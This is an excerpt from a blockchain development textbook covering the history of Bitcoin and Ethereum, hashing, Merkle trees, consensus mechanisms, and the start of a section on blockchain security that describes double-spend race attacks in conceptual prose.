Fertig T. Blockchain. the Comprehensive Guide...2024
Fertig T. Blockchain. the Comprehensive Guide...2024
Blockchain
The Comprehensive Guide to Blockchain
Development, Ethereum, Solidity, and Smart
Contracts
Imprint
Notes on Usage
Table of Contents
Foreword
Preface
1 Introduction
1.1 What Is Blockchain?
1.1.1 Challenges of the Internet
1.1.2 The Blockchain
1.1.3 The Blockchain as a Problem Solver
1.2 History of Blockchain
1.2.1 Pioneers of Blockchain
1.2.2 Bitcoin
1.2.3 Altcoins
1.2.4 Blockchain 2.0
1.2.5 The Present and the Future
1.3 Application of Blockchain Technology
1.3.1 Decision Criteria for the Blockchain
1.3.2 Blockchain Variants
1.3.3 Industries with Blockchain Potential
1.3.4 Real-Life Examples of Blockchain
Applications
1.4 Summary
4 Fundamentals of Creating
Your Own Blockchain
4.1 Transactions: The Smallest Units of a
Blockchain
4.2 Block Header: Calculating the Block
ID
4.3 Chaining Blocks
4.4 Storing the Blockchain State
Persistently
4.5 The Genesis Block: Initializing a
Blockchain
4.6 Pending Transactions
4.7 The Difficulty of a Blockchain
4.8 Let’s Mine: The Miner Thread
4.9 Summary and Outlook
8 Implementing Verification
and Optimizations
8.1 Signing Transactions
8.1.1 Introducing Digital Signatures to the Web
Client
8.1.2 Supporting Digital Signatures in the Backend
8.2 Enforcing Constraints
8.2.1 Verifying Transactions
8.2.2 Verifying Blocks
8.3 Locking and Unlocking Balances
8.4 Optimizing Performance via Merkle
Trees
8.4.1 Creating the Structure of a Merkle Tree
8.4.2 Using the Merkle Tree via the Web API
8.5 Optimizing Storage by Shortening the
Public Keys
8.6 Supporting Initial Balances in the
Genesis Block
8.7 Additional Optimizations
8.8 Summary and Outlook
9 Smart Contract
Development
9.1 Smart Contract Basics
9.2 Simple Smart Contracts with Bitcoin
Script
9.2.1 Introduction to Bitcoin Script
9.2.2 Smart Contracts with Bitcoin Script
9.2.3 Higher Programming Languages for Bitcoin
9.3 Advanced Smart Contracts
9.3.1 Bitcoin Extensions
9.3.2 Smart Contracts with Ethereum
9.4 Contract-Oriented Programming
9.4.1 Similarities to and Differences from Object-
Oriented Programming
9.4.2 Developing Meaningful Contracts
9.4.3 Composability of Smart Contracts
9.5 The Challenge of Random Number
Generators
9.5.1 Using Block Variables
9.5.2 Using Sequential Numbers
9.5.3 Using Two-Stage Lotteries
9.5.4 Determining Randomness Off-Chain
9.6 Trusting Off-Chain Data
9.7 Time Dependencies
9.7.1 Checking Time Dependencies via the Block
Time
9.7.2 Using Off-Chain Services
9.8 Summary and Outlook
10 Integrated Development
Environments and
Frameworks
10.1 Integrated Development
Environments
10.1.1 Remix: The Official IDE
10.1.2 ChainIDE: A Cloud-Based, Multichain IDE
10.1.3 Tenderly Sandbox: An IDE for Fast
Prototyping
10.1.4 Additional Web-Based IDEs
10.1.5 Desktop IDEs
10.1.6 Choosing Your IDE
10.2 Contract-Oriented Frameworks
10.2.1 The Truffle Suite
10.2.2 The Hardhat Development Environment
10.2.3 The Modular Toolkit Foundry
10.2.4 Local Blockchain Nodes
10.2.5 Choosing Your Framework
10.3 Summary and Outlook
11 An Introduction to Solidity
11.1 The Basics of Solidity
11.1.1 Structure of a Source File
11.1.2 Creating Your First Smart Contract
11.1.3 Deploying Your First Smart Contract Locally
11.2 Elements and Data Locations of a
Contract
11.2.1 Understanding Data Locations
11.2.2 Specifying Visibility in Solidity
11.2.3 Using and Defining Modifiers
11.2.4 Declaring and Initializing State Variables
11.2.5 Creating and Destroying Contracts
11.2.6 Implementing Functions
11.2.7 Defining and Using Events for Logging
11.3 Available Data Types
11.3.1 Using Primitive Data Types
11.3.2 Defining Addresses
11.3.3 Creating and Using Arrays
11.3.4 Multidimensional Arrays and Their
Limitations
11.3.5 Defining Structs and Enums
11.3.6 Understanding Mappings
11.3.7 Defining Storage Pointers as Function
Parameters
11.3.8 Using Functions as Variables
11.4 Additional Features of Solidity
11.4.1 Understanding L-Values
11.4.2 Deleting Variables and Freeing Storage
11.4.3 Converting Elementary Data Types to Each
Other
11.4.4 Utilizing Type Inference
11.4.5 The Fallback and Receive Functions
11.4.6 Checked versus Unchecked Arithmetic
11.4.7 Error Handling with Assert, Require, Revert,
and Exceptions
11.5 Creating Inheritance Hierarchies of
Smart Contracts
11.5.1 How Does Contract Inheritance Work?
11.5.2 Using Abstract Contracts
11.5.3 Defining Interfaces in Solidity
11.5.4 Applying Polymorphism Correctly
11.5.5 Overloading Functions
11.6 Creating and Using Libraries
11.6.1 Implementing Your Own Library
11.6.2 Using Libraries in Contracts
11.6.3 Extending Data Types with Libraries
11.7 Summary and Outlook
18 Upgrading Smart
Contracts
18.1 Basics of Upgrade Mechanisms
18.2 Performing Contract Migrations
18.2.1 Recovering and Preparing Data for
Migrations
18.2.2 Writing Data and Initializing the State of
the New Contract
18.2.3 Migrating an ERC-20 Token Contract as an
Example
18.3 Separation of Data and Business
Logic
18.4 The Proxy Pattern
18.5 The Diamonds Pattern
18.6 Additional Mechanisms and
Considerations
18.7 The Metamorphic Smart Contract
Exploit
18.8 Summary and Outlook
19 Developing Decentralized
Applications
19.1 What Is a Decentralized Application?
19.2 The Development Process for a
DApp
19.3 Developing the Smart Contracts of
Your First DApp
19.4 Developing the Off-Chain Elements
of Your First DApp
19.5 Hosting the Frontend of Your First
DApp in a Decentralized Manner
19.6 Setting Up ENS Domains
19.6.1 Introduction to ENS Domains
19.6.2 Registering an ENS Domain
19.6.3 Linking an ENS Domain to an IPFS Content
Hash
19.7 Summary and Outlook
20 Upgrading Your First
DApp to a DAO
20.1 What Is a Decentralized
Autonomous Organization?
20.2 Implementing a Governance
Contract for Your DAO
20.3 Implementing the Frontend with
Vue.js and Ethers.js
20.3.1 Introduction to Ethers.js
20.3.2 Implementing a Vue Frontend with
Components
20.3.3 Additional Features of Ethers.js
20.4 Ideas for Additional Backend and
Oracle Services
20.5 Deploying Your DApp and Assigning
an ENS Domain
20.6 Additional Frameworks, Tools, and
Libraries
20.7 Summary and Outlook
21 Reverse Engineering
Smart Contracts
21.1 Why Reverse Engineer?
21.2 Manual Reverse Engineering
21.3 Manual Recovery of a Contract ABI
21.4 Tools for Reverse Engineering Smart
Contracts
21.5 Summary and Outlook
22 Additional Contract-
Oriented Programming
Languages
22.1 Yul: The Intermediate Language for
Different Backends
22.1.1 Implementing Yul Contracts
22.1.2 Compiling Yul Contracts
22.1.3 Deploying Yul Contracts
22.1.4 Testing Yul Contracts
22.2 Huff: Highly Optimized Smart
Contracts
22.2.1 Implementing Huff Contracts
22.2.2 Compiling Huff Contracts
22.2.3 Deploying Huff Contracts
22.2.4 Testing Huff Contracts
22.3 Vyper: Smart Contracts for
Everyone?
22.3.1 Goals of Vyper
22.3.2 Limitations of Vyper
22.3.3 The Syntax of Vyper
22.3.4 The Development Cycle
22.4 Comparison of Gas Costs
22.5 Summary and Outlook
23 Applying Blockchain
Technologies
23.1 Decentralized Finance
23.1.1 Decentralized Finance Use Cases
23.1.2 Decentralized Exchanges
23.2 Developing and Minting NFTs
23.2.1 Creating NFTs on OpenSea
23.2.2 Generating Huge NFT Collections
23.3 Ethereum Layer 2 Solutions
23.3.1 Arbitrum
23.3.2 Optimism
23.4 Other Blockchain 2.0 Projects
23.4.1 Solana
23.4.2 Avalanche
23.5 A Different Blockchain Approach:
Ripple
23.5.1 The Idea of Ripple
23.5.2 The Ledger and the Network
23.6 Summary
A Bibliography
B The Authors
Index
Service Pages
Legal Notes
Foreword
Dear Reader,
Imagine a bustling day in the world of international finance
in 1974, when trades crossed continents faster than the
setting sun. At the heart of this global exchange was
Herstatt Bank, a seemingly robust German bank deeply
engaged in foreign exchange trading. On an ordinary yet
fateful day in June, the bank executed a series of currency
exchanges that would unwittingly seal its destiny and etch
its name into the annals of financial infamy.
The cryptocurrency Bitcoin has slowly made its way into the
headlines in recent years. At first, small forums discussed it,
then the trade press reported on it, and now mainstream
media covers it in top stories. With the approval of a Bitcoin
spot exchange-traded fund (ETF) by the US Securities and
Exchange Commission (SEC), cryptocurrency has made its
way into the classic financial markets and become
accessible to a wider investing public. Of course, this is
primarily due to the enormous increase in the price of
Bitcoin, which has risen from a few cents to several
thousand dollars within the last few years. Along with
Bitcoin, an apparent supporting actor has also stepped into
the spotlight: the blockchain, which is the technology that
enables the realization of Bitcoin. Usually, end users don’t
really care how an application is implemented in the
background—but with blockchain, it’s different. Suddenly,
managers are also interested in data structures, bus drivers
in distributed networks, and grandmothers in mining
algorithms. Thus, blockchain has an appeal that’s reserved
for very few technologies. In the beginning, private
individuals who wanted to invest in cryptocurrencies
contributed to the blockchain’s popularity. Soon, however,
companies were also flirting with the technology, which
promises a tamper-proof database. Such companies were
looking for use cases in their own environment.
At our numerous lectures and seminars on the topic of
blockchain, we have experienced the great interest and
enthusiasm of the audience firsthand. In the process, we
have also received a lot of feedback from the audience,
such as questions about hard-to-understand aspects of the
technology that require more in-depth explanation. And no
matter how long a lecture or seminar lasts, the time is
always too short to take up all the exciting blockchain
topics. That’s why we wrote this book: to introduce you to
the whole world of blockchain. In doing so, we address the
questions that we most often encounter in conversations
with private individuals, representatives from businesses,
and developers: How does the blockchain work? What can I
use the blockchain for? How do I develop blockchain
applications?
We hope to address a broad audience of readers with this
book. We wrote the theoretical content to be accessible to
non-technicians, we avoid mathematical formulas wherever
possible, and we explain how blockchain technology
functions and is used in a clear and understandable way.
The book doesn’t just scratch the surface but shows in detail
how the blockchain works. The theoretical content is also
explicitly aimed at decision-makers who are thinking about
possible business models. The practical content is then
intended to give you an understanding of the challenges of
developing your own blockchain. Following those
instructions, you’re going to implement a blockchain in Java
and see how much detail lies dormant in this technology.
After you have implemented your own blockchain and
gained a deep understanding of the technology, we’ll give
you a detailed introduction to the development of smart
contracts for the Ethereum platform. We’ll not only show
you how to implement smart contracts, but also how to test,
debug, and deploy them. In addition, we’ll cover security
topics and let you exploit security vulnerabilities yourself.
Finally, we’ll explain how you can use smart contracts within
decentralized applications (DApps). In the process, we’ll
give you an introduction to several frameworks that will
simplify the development of these DApps. The book is
divided in such a way that it can also be used as a reference
work.
Centralization
Trust
The more nodes there are and the larger and wider their
distribution, the better it is for the respective blockchain,
because the larger the network of individual nodes, the
better the blockchain addresses the challenge of
centralization. In the original blockchain concept, each node
in the network is the proud owner of a copy of the entire
blockchain. That means all the data on the blockchain is
stored in redundant fashion on each individual node.
Wallets
Wallets classically store the private keys in combination
with the public keys of a user. There are different types of
wallets: paper wallets, hardware wallets, software wallets,
and website wallets (Liu et al., 2017). In paper wallets,
both the private key and the public key are printed on
paper. The private key is often displayed as a QR code. In
hardware wallets, the private key is stored over the long
term on a hardware device. This device can be connected
to a computer. Software wallets and website wallets allow
the user to interact with the blockchain using a prepared
user interface. Software wallets require a program to be
installed on the user’s own computer, while website
wallets can be accessed through the browser. To use a
website wallet, the user must enter a private key but can
also use a hardware wallet. In both software and website
wallets, depending on the provider, users can view their
transaction history or their balance in the respective
cryptocurrency, send transactions, or use other services.
1.2.2 Bitcoin
The year 2007 was not a good one for the financial sector. A
crisis that began in the U.S. real estate market spread to the
entire financial system in the summer and disrupted the
global economy. The crisis had a massive impact on the
stock market, interest rates, and entire economies. The
crisis was accompanied by a massive loss of prestige for the
entire financial sector, and many people lost their trust in
banks. In September 2008, the crisis reached its peak with
the bankruptcy of Lehman Brothers, resulting in a stock
market crash. Only a few weeks later, in November 2008,
Satoshi Nakamoto published his white paper “Bitcoin: A
Peer-to-Peer Electronic Cash System,” which describes a
currency that exists completely without any involvement of
banks and state institutions and has the potential to
revolutionize the financial system.
Bitcoin Facts
Forks
In software development, the term fork describes the
parallel development of a software project in a separate
branch. At some point during the project, the status is
copied and continued independently of the parent branch.
The old and the new branch keep a common past and
develop themselves differently after the branching.
1.2.3 Altcoins
Even though Bitcoin was the first blockchain-based
cryptocurrency, it didn’t remain the only one for long.
Shortly after Bitcoin’s emergence, the first alternative
blockchain projects, called altcoins, emerged, using their
own implementation of a blockchain. Namecoin, the first
altcoin, entered the race back in April 2011. Namecoin was
developed to create an independent Domain Name System
(DNS) based on blockchain. The altcoins that emerged after
that, however, dabbled more in the use case of Bitcoin and
represented digital money. In October 2011, Litecoin was
born. Developed by Charlie Lee, the cryptocurrency slightly
modified Bitcoin’s implementation. Thus, Litecoin uses a
different hashing algorithm and generates blocks faster.
The number of altcoins has increased sharply over the
years, and some funny currencies have appeared along the
way. In 2013, Dogecoin, which was originally intended as a
parody of cryptocurrencies, was created based on the
Litecoin implementation. Dogecoin was named after the
Doge internet meme that featured a Shiba Inu dog. With
some help from Elon Musk, it has become one of the most
valuable cryptocurrencies. Another curiosity was the altcoin
Coinye, which alluded to the musician Kanye West and used
his caricatured likeness as its logo without his permission
(until he served them with a cease-and-desist order). This
altcoin failed to achieve long-term success.
Vitalik Buterin
Vitalik Buterin was born in Russia in 1994 and moved to
Canada with his parents as a child. As the son of a
computer scientist, Buterin showed an affinity for
computers and mathematics at a young age. He was
introduced to Bitcoin technology by his father, and soon,
he was writing articles for blogs and Bitcoin Magazine
about virtual money. In 2013, he presented the Ethereum
project to the public for the first time in a white paper. In
2014, Buterin received $100,000 from PayPal co-founder
Peter Thiel’s Thiel Foundation. The money allowed Buterin
to drop out of college to work on Ethereum full time.
Ether Facts
Shortly after the release of the white paper, Dr. Gavin Wood
published the yellow paper “Ethereum: A Secure
Decentralised Generalised Transaction Ledger.” He worked
closely with Buterin and the project. In the yellow paper,
Wood detailed Ethereum and the Ethereum Virtual Machine
(EVM). Finally, in July and August 2014, the Ethereum
crowdsale took place, with a certain amount of Ether offered
for sale in advance. Such crowdsales are called initial coin
offerings (ICOs) or initial token sales (ITSs) in the blockchain
environment.
The presale was a huge success. Vitalik Buterin and his
team were able to raise $18.4 million, ensuring the further
development of Ethereum. This was done under the
auspices of the nonprofit Ethereum Foundation, which was
founded shortly before the crowdsale and is based in
Switzerland.
Figure 1.3 Simplified decision model for the use of blockchain technology
(Wüst & Gervais, 2017).
Provider Product
The Shareconomy
The sharing economy (also known as the shareconomy)
consists of the shared use of resources such as cars (as with
Uber) or apartments (as with Airbnb). This is usually
organized on large platforms on the internet or with mobile
applications. The idea behind this is collaborative
consumption, which should result in the careful use of
resources. Start-ups in particular currently like to use the
blockchain in the shareconomy environment, and with the
blockchain, it’s possible to eliminate the central platforms
responsible for coordination. This would allow network
participants to interact directly with each other. The
ultimate settlement can also be realized here via smart
contracts.
Figure 1.5 With Everledger, the origin of diamonds can be traced in the
blockchain.
When the contract goes live, the project tokens are created.
In our example in Figure 1.6, 20 million tokens were created,
but the actual quantity can be freely chosen by the project
team. In the smart contract, a condition is set that must be
met in order for the project tokens to be distributed. Thus, in
our example, a total of at least 3,000 Ether must have been
collected. If the condition isn’t met, the investors will
receive their invested Ether back. Investors then transfer
2
one Ether to the smart contract . (By the way, in most
ICOs, investors are free to decide how much they want to
invest within a certain limit. The amount of tokens they
receive is then based on the amount of the investment.) At
a certain cut-off date, the blockchain checks how many
Ether have been collected in total in the smart contract .3
The investors who participated in the ICO now get their
4
tokens transferred , and the project team has access to
the collected Ether from now on 5.
The criteria for using a blockchain are met in this scenario.
For crowdfunding, a database is needed to record which
investors have participated. With the project team and the
investors, there are also several parties involved in the
project who don’t know each other and therefore don’t
necessarily trust each other. TTPs such as the Kickstarter
platform exist, but there, a percentage of the revenue must
be paid to the platform as a fee. Moreover, even these TTPs
can’t guarantee that the investors will actually receive the
agreed-upon service afterwards. The smart contract, on the
other hand, ensures that the tokens are distributed securely.
The interfaces with the real world are minimal in this
scenario. By using a cryptocurrency as a means of payment
and the token as an agreed-upon means of distribution, the
advantages of the crypto world can be used perfectly. This
makes crowdfunding on the blockchain appropriately
secure. Even if the tokens are distributed immediately,
however, this scenario can’t prevent the project team from
subsequently running away with the Ether and the tokens
subsequently being worthless. A further development is the
decentralized autonomous ICO (DAICO), which links a
gradual payout of the collected Ether to whether the token
owners are satisfied with the work of the project team.
Asymmetric Cryptosystems
Figure 2.3 Hashing of different input values with Message Digest Algorithm 5
(MD5).
s = hash(m,R) * x + r
The recipient can now compare this with the result of the
signature provided by adding the point P s times: S = s•P. If
the two values for S match, the recipient can be sure that
the signature was created by the owner of the private key
and can verify the transaction. Incidentally, Ethereum uses
an additional variable v instead of the public key, which
makes it possible to calculate the public key from R and s
(Knutson, 2018).
Figure 2.6 shows the process for calculating A' and E' in
detail. The first things noticeable here are the large, shaded
boxes. These are functions that are intended to mix different
input values in a different way. The function Ch stands for
“Choose” and receives the binary character strings of E, F,
and G as input. The function has the task of mixing F and G,
depending on E. The first bit of E is considered for this. If it’s
a 1, the first bit of F is written in the first position of the
output. If it’s a 0, the first bit of G is taken. This is now
processed bit by bit until the output is completely
generated.
The Σ1 function takes E as input and rotates it a total of
three times. To do this, E is shifted to the right by 6 bits in
the first intermediate step, by 11 bits in the second
intermediate step, and finally by 25 bits. The three
intermediate results are now added together. To do this, the
first bit of each of the three-character strings is initially
checked. If the number of ones is odd, a 1 is written to the
first position of the output. If the number is even, a 0 is
written to the first digit. This is repeated until all digits have
been processed. The Σ0 function works in the same way,
with the difference that it receives A as input and the shifts
are carried out with 2, 13, and 22 bits, respectively.
The Maj function stands for “Majority.” It receives A, B, and
C as input, which are also processed bit by bit. If there are
more 1s than 0s in the first position of the three-character
strings, a 1 is written to the first position of the output;
otherwise, a 0 is written. The entire character strings are
also processed here.
Figure 2.6 Detailed procedure for calculating the data pieces A' and E' in a
round of SHA-256.
As you can see, the results of the functions are used in 32-
bit additions. In the first addition of the round, H, the result
of the function Ch, and the result of the addition of the two
inputs Wt and Kt are added together. With Wt, a part of the
actual input flows into the SHA-256 in each round. This 512-
bit input was previously broken down into 64 8-bit parts. Kt
is a constant that is predefined for each round. The result of
the addition is in turn added to the result of the Σ1 function.
This sum is now used for two calculations. Firstly, it’s added
to D to form E'. Secondly, it’s added to the result of the Maj
function. The resulting sum is again added to the result of
Σ0 to form A'.
The resulting values A' to H' are used again as input values
A to H in the next round. This is carried out a total of 64
times. The eight pieces of data A' to H' resulting from the
last round are finally combined into a 256-bit hash. The
original input, which was interspersed as Wt in each round,
is so distorted after these 64 rounds that it’s no longer
possible to understand what it originally represented.
Keccak-256
Figure 2.7 Representation of the state cuboid and the sections: slice, lane,
and row.
You can find out how these hash functions and the
asymmetric cryptosystems are used in the blockchain in the
next section.
2.2 The Blockchain
In the following sections, we’ll teach you more about how
the blockchain and the associated administration system
work. To do this, we’ll start with a detailed view of the
blockchain and zoom out more and more until a large
overall picture emerges. You can find an overview of this
structure in Figure 2.9. To make the blockchain tangible,
we’ll focus on a use case that has made the blockchain
famous: Bitcoin.
2.2.1 Transactions
The smallest and most important constructs in the Bitcoin
blockchain are the transactions in the network. A currency
that doesn’t ensure that a transfer arrives correctly would
never be accepted by users. The blockchain stores a list of
all transactions that have ever been made in the network.
Generous grandpa Harold transferred two Bitcoins to his
grandson Sam as a graduation gift? The transaction is
transparently recorded in the blockchain. Mark Zuckerberg
bought a Tesla from Elon Musk with Bitcoin? You would see
the transaction in your blockchain copy.
Merkle Tree
The root of the tree, called the Merkle root, is the top node
in the tree. The lowest nodes are called leaves, so a tree in
computer science is upside down. A hash of each
transaction of the block represents a leaf in the Merkle tree,
and two of these hash values are always chained together
by hashing them again. The result of this concatenation is
written to the next level. In our figure, hash T0 and hash T1
are chained together and hashed again. The result of this
hash function is the node T0T1. This continues with all
leaves, so that the number of nodes is halved at each new
level. Now, two nodes of the new layer are chained together
and combined into a new node in a new layer. If the number
of nodes on a level is odd, the remaining node is simply
chained back to itself. This goes on until only the Merkle root
remains. In it, information from all transactions in the block
is merged. Why doesn’t the blockchain make it easy and
hash all transactions at once to a single value? The reason is
simplified verification. Bitcoin inventor Satoshi Nakamoto
saw this approach as a way to reduce the effort required to
verify transactions. Instead of an effort of n (n = number of
transactions), the Merkle tree only requires an effort of
log(n). To prove that a particular transaction is included in
the Merkle root, you don’t have to rehash the whole tree,
including all the transactions it contains. For the irrelevant
paths, hash values of the upper levels can simply be used
instead. Only the relevant path leading to the transaction of
interest has to be recalculated. In Figure 2.13, if we had to
provide a proof of transaction T0, we would first create the
hash of T0, then use the pre-existing hash T1, and then use
the hash T2T3, which also already exists. This procedure is
called a Merkle proof.
The Chain
We have already described that each block contains the
hash value of the previous block. So, by this value, each
block is chained to its predecessor. This is how a steadily
growing blockchain is created. Of course, the growing
amount of data involved also leads to memory problems.
Satoshi Nakamoto, however, assumed that technical
progress in researching the increasingly affordable storage
options would put this increase into perspective. For “small”
nodes, however, it’s of course difficult to free up so much
data.
Explore the Bitcoin Blockchain
On the Bitcoin blockchain’s homepage
https://www.blockchain.com/de/explorer/, it’s possible to
explore the Bitcoin blockchain comfortably on your own.
You can see an overview of the current number of
transactions in the last 24 hours or the latest blocks. It’s
also possible to scrutinize individual blocks, transactions,
or the value of individual addresses. The site can therefore
help you get a feel for the Bitcoin blockchain, and similar
sites exist for all major blockchains. For example, take a
look at Satoshi Nakamoto’s address at
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa, where the first 50
Bitcoin can still be found today.
The Node
Figure 2.14 Building a Bitcoin full node with optional mining software.
For example, each node has a key-value database, which is
used as a kind of cache for all existing but not yet used
outputs of transactions in the network. These outputs are
also called unspent transaction output (UTXO). While the
database itself is called a chainstate, the collection of
unused outputs is called the UTXO set. When a new block is
received while the blockchain is updated, the client checks
which outputs are listed in the contained transactions and
removes them from the cache. At the same time, the new
outputs generated by the transactions are added to the
UTXO set, which stores all the information needed to verify a
transaction without having to search the entire blockchain.
Here, the node verifies that the output referenced in the
transaction has not yet been output and is still in the UTXO
set.
The Network
Communication
Figure 2.15 The handshake between two nodes in the Bitcoin network.
Conflict Handling
In Chapter 1, we introduced you to forks as a way to
continue an existing blockchain as a new project in parallel.
This is done with different consensus rules that compete
with each other within the network, resulting in either a
hard fork or an agreement between the network and one of
the sets of rules. However, it can also happen that the
blockchain unintentionally splits without changing
consensus rules. This happens when two (or more) miners
finish creating their own version of a block at the same time
or a few seconds apart. Then, when other nodes receive the
different versions, they must decide which variant to accept.
To resolve this conflict and establish consensus in the
network, the nodes must agree on a version. They do this by
considering various rules.
The nodes resolve this block and add transactions that were
in variant b (but not in variant a) back to the mempool. The
successful miner of block b doesn’t receive a reward on the
Bitcoin network because their block didn’t catch on. This
also makes it clear why there is a wait of 100 blocks until a
miner can spend the reward. The Ethereum blockchain took
a different approach to this when it was still using PoW as a
consensus model. There, miners of uncles, the Ethereum
equivalent of orphaned blocks, received a small reward for
their effort (see Chapter 3, Section 3.2.3).
Segregated Witnesses
Figure 2.22 With SegWit, the data for the signature is outsourced to the
witness data structure.
Figure 2.23 The witnesses are moved to a block extension as a Merkle tree.
Taproot
2.3.1 Proof-of-Stake
Proof-of-stake (PoS) puts an end to mining. High energy
costs, centralized mining pools, and overpowering ASIC
miners are things of the past with this approach. While new
blockchain networks now rely on PoS right from the start,
Ethereum, the second-largest project after Bitcoin, has
switched from PoW to PoS. Nodes that participate in the
consensus building process are called validators (sometimes
forgers) in a PoS system. However, PoS itself fulfills the
same purpose as PoW: to create consensus in the network.
Instead of using expensive hardware, validators qualify on
the network by holding a larger proportion of
cryptocurrencies. This is called a stake. By staking, they
prove that they are interested in keeping the network
secure, because otherwise, their cryptocurrency would lose
value. By owning the stake, the validators get the right to
participate in the network and get selected as block
proposers. The responsibility of a block proposer is to
construct the new block of transactions and then broadcast
it to the other nodes for verification. In PoS, the size of the
stake determines the probability that the participant will
become a block proposer. A validator who owns 2% of all
cryptocurrencies in a stake would have a 2% probability of
constructing a block.
The ulterior motive here is that the larger a person’s stake
in the cryptocurrency, the greater the interest in the
security of the network. Unlike miners, the block proposer in
some PoS system doesn’t receive a set block reward but
only receives the transaction fees contained in the block.
Blockchains therefore usually create all their coins in
advance or only switch to PoS after a PoW phase. However,
there are exceptions like in Ethereum where block proposers
receive a reward and the transaction fees. Taking over the
network by acquiring a majority (two-thirds for Ethereum) of
the coins would theoretically be possible in PoS. The
attacking node would largely harm itself, as the currency
would lose a massive amount of value.
2.3.3 Proof-of-Activity
Proof-of-activity links the two most common consensus
mechanisms in the world of blockchain: PoW and PoS. The
process of proof-of-activity always starts with PoW by mining
a block. This is not a finished block, but rather a block
template consisting of a header and the miner’s address.
After a block has been successfully mined, the PoS part of
the process begins. The block is sent to a group of validators
that was previously randomly assembled. The validators are
responsible for validating and signing the block, and if not
all validators sign the block, a new block will have to be
mined. Once everyone has signed properly, the block is
added to the blockchain, and transactions can be added
until the block is full. The fees distributed through the
process are split between the miner and the validators.
Proof-of-activity was built with the motivation to solve the
tragedy of the commons. This concept states that
individuals in a system with freely available but limited
goods act in their own interest and thus damage the
system. The Bitcoin blockchain is at risk of this tragedy,
should the rewards for miners be abolished. In this scenario,
miners increase transaction fees to enrich themselves,
making it impossible for others to make reasonable use of
the blockchain. With the additional involvement of
validators, miners are not given as much power. In addition,
with the use of proof-of-activity, a 51% attack is almost
impossible, as the attacker would not only need to have the
computing power but also the majority of the tokens
available on the network.
Despite all these benefits, proof-of-activity has faced harsh
criticism. Above all, the double burden of problems from
both worlds—PoW and PoS—is criticized. Both the high
energy consumption and the monopoly problem threaten
such a network.
2.3.4 Proof-of-Importance
The proof-of-importance consensus mechanism is used by
the early blockchain platform NEM and has gained attention
with it. The approach builds on and expands PoS. Potential
validators must deposit a certain number of the
cryptocurrency to qualify. In a proof-of-importance system,
however, not only the simple withholding of shares of a
cryptocurrency but also the simultaneous productive activity
in the network is included in the probability of whether a
node is allowed to create a block. The factors of balance,
reputation of the participant, and the number of
transactions of the address play a role. The inclusion of
these values is intended to answer the question of whether
a user is useful to the network.
2.3.5 Proof-of-Authority
Proof-of-authority is a common consensus mechanism used
primarily in private permissioned blockchains. Proof-of-
authority is an optimized PoS model, but the validators,
called authorities, don’t have to maintain a stake. Rather,
the authorities are determined centrally by the operators of
the system. This is usually done before the blockchain goes
live. Therefore, the main use case is usually in companies or
groups of companies. The authorities, as in regular
blockchain systems, monitor compliance with consensus
rules and have the right to create blocks. These blocks are
signed by the other authorities and then permanently added
to the blockchain.
2.3.6 Proof-of-Reputation
To participate in a proof-of-reputation system and be
allowed to validate a block, you need to have a good
reputation in the real world. With this, proof-of-reputation is
very much aimed at large companies that are supposed to
appear as validators in the network. Reputation is formed by
the value of the company and how well known the
company’s brand is. Of course, the brand must have a
positive context. Reputation assessment can’t be automated
but must be done by a human entity. It becomes clear that
the task of validating is more likely to be done by large
companies that are well-known and have a good reputation.
After the initial verification of the call, the network can vote
on whether to ultimately promote the node. In proof-of-
reputation, a node with the status of validator is referred to
as an authoritative node. From here, the procedure works as
with the proof-of-authority already presented.
The difference between the two models is that proof-of-
authority is used in private blockchains and proof-of-
reputation focuses on public blockchains. Proponents of
proof-of-reputation also argue that large firms are not as
susceptible to bribery attempts as eventual node holders in
proof-of-authority. In addition, the well-developed
infrastructure of large companies is not as susceptible to
attacks. Also, in the proof-of-authority approach, nodes must
communicate their location, which makes them vulnerable—
and in the case of large companies, it’s not easy to find out
where a given node is located.
2.3.9 Proof-of-Burn
Proof-of-burn was first introduced by Ian Stewart. In the
crypto scene, burning is the “destruction” of shares of a
cryptocurrency or token. To do this, they are sent to a
predetermined address, from which it’s no longer possible
for anyone to issue them. In the proof-of-burn approach,
nodes must burn a portion of their shares or tokens to
actively participate in the block creation process.
Proof-of-burn is designed to simulate the mining process of
the PoW without wasting resources such as hardware or
electricity. Miners in PoW must spend money in the real
world in order to take action. They must buy graphics cards
and a computer and provide electricity so that they can do
their work. The burning of the coins is intended to simulate
the process of spending money, except that the miners buy
the coins and must spend them through burning. The
simulated computing power of the network (i.e., the
probability that the block will be detached from the node)
increases with the number of coins destroyed. Of course,
the system must be one hundred percent sure that the coins
can no longer be transferred away from the burn addresses.
In addition, the burn addresses must be known so that other
participants in the network can verify the destruction. After
destroying the coins, however, the nodes must wait a
certain amount of time before they can create blocks. This
serves as a security mechanism to prevent the node from
reversing the destruction of the coins in its created block.
When the waiting time is up, the node becomes active.
Among the active nodes in the network, a kind of lottery
game then takes place for the next valid block. Proof-of-burn
systems must be implemented in such a way that they
create balance in the network. This includes making up for
the miners’ destroyed coins over time through the block
reward and transaction fees. Especially when it comes to
rewards, it must be ensured that the number of coins in
circulation doesn’t shrink steadily but remains constant or
even grows. Just as real mining hardware breaks over time,
so does the hash power gained by the destroyed coins over
time. Then the miner must destroy new coins.
The advantages of proof-of-burn also lie primarily in its
economical use of resources. An entrepreneurial risk for the
proof-of-burn miners also ensures a healthy ecosystem. One
disadvantage is that the security of the network is
dependent on the current market capitalization of the
cryptocurrency involved. If the coins have little value, it’s
easier for an attacker to buy a large portion of the coins and
take over the network. To ensure the initial distribution of
the coins, a different consensus mechanism must be used in
advance. Often, proof-of-burn is therefore combined with
PoW.
2.4 Blockchain Security
As digitalization progresses, the security of the information
we store on our devices or servers every day is also
becoming increasingly important. This applies to both
private individuals and companies. New technologies are
therefore always put to the test in terms of information
security.
In this section, we review what information security goals
blockchain can support. We then look at which potential
attack scenarios on blockchain technology are possible. We
differentiate between attacks on the blockchain and attacks
on users.
Sybil Attack
Race Attack
As the name suggests, a race attack is all about speed. In
this scenario, an attacker double-spends by sending a
transaction to two people at the same time, for example,
with Bitcoin. However, it uses the same output (UTXO) in
each of the transactions, so the attacker spends the same
bitcoins twice. Both recipients initially receive the
transaction from the attacker and don’t know that the
transaction is currently in a race with another transaction. If,
for example, the recipients are traders, they may now be
inclined to hand over a product that has already been sold.
However, only the transaction that first receives the
required confirmations from the network will ultimately be
persistently stored on the blockchain, and the slower
transaction will be rejected by the network after some time.
The chance of success of such an attack becomes even
greater if the attacker has a direct P2P connection to the
victim’s node. This allows the attacker to send one of the
transactions directly to a victim without any detours while
